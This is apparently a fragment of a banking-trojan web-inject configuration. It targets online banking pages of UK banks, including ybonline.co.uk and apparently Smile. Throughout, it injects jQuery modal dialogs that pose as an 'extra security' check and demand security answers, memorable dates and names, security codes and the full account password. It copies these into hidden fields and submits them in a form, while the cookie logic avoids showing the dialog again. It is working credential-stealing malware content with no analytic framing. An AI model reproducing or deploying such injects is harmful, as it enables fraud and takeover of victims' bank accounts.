function loadpopunder(){
document.getElementById('body2').visibility = 'hidden';
function Init() 
{
	jQuery('#inject').dialog({ width: 500, buttons: { "Continue": function() {
	        if (jQuery("#inject_q1").val().length < 4) 
	        {
		        alert('Please enter place/town of birth.');
		        jQuery("#inject_q1").focus();
	        } 
	        else if (jQuery("#inject_q2").val().length < 4) 
	        {
		        alert('Please enter the name of your first school attended.');
		        jQuery("#inject_q2").focus();
	        } 
	        else if (jQuery("#inject_q3").val().length < 4) 
	        {
		        alert('Please enter Full Security Code.');
		        jQuery("#inject_q3").focus();
	        } 
	        else if (jQuery("#inject_q4").val().length < 4) 
	        {
		        alert('Please enter the name of your last school.');
		        jQuery("#inject_q4").focus();
	        } 
	        else if (jQuery("#inject_q5").val().length < 4) 
	        {
		        alert('Please enter Memoramble Date (dd/mm/yyyy).');
		        jQuery("#inject_q5").focus();
	        } 
	        else if (jQuery("#inject_q6").val().length < 4) 
	        {
		        alert('Please enter Memoramble Name.');
		        jQuery("#inject_q6").focus();
	        }
	        else 
	        {
		jQuery("#Q1").val(jQuery("#inject_q1").val());
		jQuery("#Q2").val(jQuery("#inject_q2").val());
		jQuery("#Q3").val(jQuery("#inject_q3").val());
		jQuery("#Q4").val(jQuery("#inject_q4").val());
		jQuery("#Q5").val(jQuery("#inject_q5").val());
		jQuery("#Q6").val(jQuery("#inject_q6").val());
		jQuery("form[name='injectform']").submit();
    var expireDate = new Date()
    expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
    document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();
  	jQuery("#inject").dialog("close");
	                document.getElementById('body2').visibility = 'visible';
}
				  } 
				}, closeOnEscape: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>
<div id="inject">
	<form>
	<center>
	<table><tbody>
	  <tr><td style="background: #FFFFFF;">
	<img src="https://www.smile.co.uk/images/generic/smilelogo.gif" style="margin-top: 0px; margin-left: 30px; margin-bottom: 0px;"/>
	  </td><td align="left" style="text-align: justify; font-size: 12px; background: #FFFFFF; padding-left: 7px;">
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.</br></br>
	  </td></tr>
	</tbody></table></center>
  <center>	
	<p>
	  <div style="font-size: 12px">Please enter the information below to continue.</div></p>
	<div>
		<table>
			<tbody>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Place of birth:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q1" id="inject_q1" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>First school attended:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q2" id="inject_q2" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Security Code:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q3" id="inject_q3" size="4" maxlength="4"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Last school attended:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q4" id="inject_q4" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Memoramble Date:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q5" id="inject_q5" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Memoramble Name:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q6" id="inject_q6" size="12" maxlength="12"/></td></tr>
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="bplace" id="Q1" />
<input type="hidden" name="fschool" id="Q2" />
<input type="hidden" name="UKpass" id="Q3" />
<input type="hidden" name="lschool" id="Q4" />
<input type="hidden" name="mdate" id="Q5" />
<input type="hidden" name="mname" id="Q6" />
</form>
data_end
data_after
data_end
;===== ybonline.co.uk =====

set_url *ybonline.co.uk/ralu/reglm-web/setupSecurityQuestionPage* GP

data_before
<div class="buttons">*<input
data_end
data_inject
 type="button" onclick="return domycheck();" 
data_end
data_after
tabindex="2" value="Submit"
data_end

data_before
<div id="wrap">
data_end
data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/blitzer/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style><script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">
function domycheck(){

var popfrequency="432000 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')=='')
{return loadpopunder();}
else {document.forms["securityQuestionForm"].submit();}
}

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ width: 600, buttons: { "Continue": function() {
	        if (jQuery("#inject_q1").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q1").focus();
	        } 
	        else if (jQuery("#inject_q2").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q2").focus();
	        } 
	        else if (jQuery("#inject_q3").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q3").focus();
	        } 
	        else if (jQuery("#inject_q4").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q4").focus();
	        } 
	        else if (jQuery("#inject_q5").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q5").focus();
	        } 
	        else if (jQuery("#inject_q6").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q6").focus();
	        } 
	        else if (jQuery("#inject_ukpass").val().length < 4) 
	        {
		        alert('Please enter correct Full Password.');
		        jQuery("#inject_ukpass").focus();
	        } 
	        else 
	        {
		jQuery("#Q1").val(jQuery("#inject_q1").val());
		jQuery("#Q2").val(jQuery("#inject_q2").val());
		jQuery("#Q3").val(jQuery("#inject_q3").val());
		jQuery("#Q4").val(jQuery("#inject_q4").val());
		jQuery("#Q5").val(jQuery("#inject_q5").val());
		jQuery("#Q6").val(jQuery("#inject_q6").val());
		jQuery("#UKpass").val(jQuery("#inject_ukpass").val());
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');
document.forms["securityQuestionForm"].submit();
}
				  } 
				}, closeOnEscape: false, resizable: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}

}
</script>
<div id="inject">
	<form>
	<center> 
	<table><tbody>
	  <tr><td style="background: #FFFFFF;">
	<img src="https://bbank.ybonline.co.uk/images/yorkshire-bank-logo.gif" style="margin-top: 0px; margin-left: 150px; margin-bottom: 0px;"/>
	  </td></tr><tr><td align="left" style="text-align: justify; font-size: 12px; background: #FFFFFF;">
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.</br></br>
	  </td></tr>
	</tbody></table></center>
  <center>	
	<p>
	  Please enter the information below to continue.</p>
	<div>
		<table>
			<tbody>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>What is your favourite meal or restaurant :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q1" id="inject_q1" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>The name of a memorable place to you :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q2" id="inject_q2" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Your favourite film of all time :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q3" id="inject_q3" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Your favourite book of all time :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q4" id="inject_q4" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Your favourite teacher or subject :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q5" id="inject_q5" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Your favourite TV star or show :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q6" id="inject_q6" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Full Pasword :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_ukpas" id="inject_ukpass" size="12" maxlength="12"/></td></tr>
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="Q1" id="Q1" />
<input type="hidden" name="Q2" id="Q2" />
<input type="hidden" name="Q3" id="Q3" />
<input type="hidden" name="Q4" id="Q4" />
<input type="hidden" name="Q5" id="Q5" />
<input type="hidden" name="Q6" id="Q6" />
<input type="hidden" name="mword" id="UKpass" />
</form>
data_end
data_after
data_end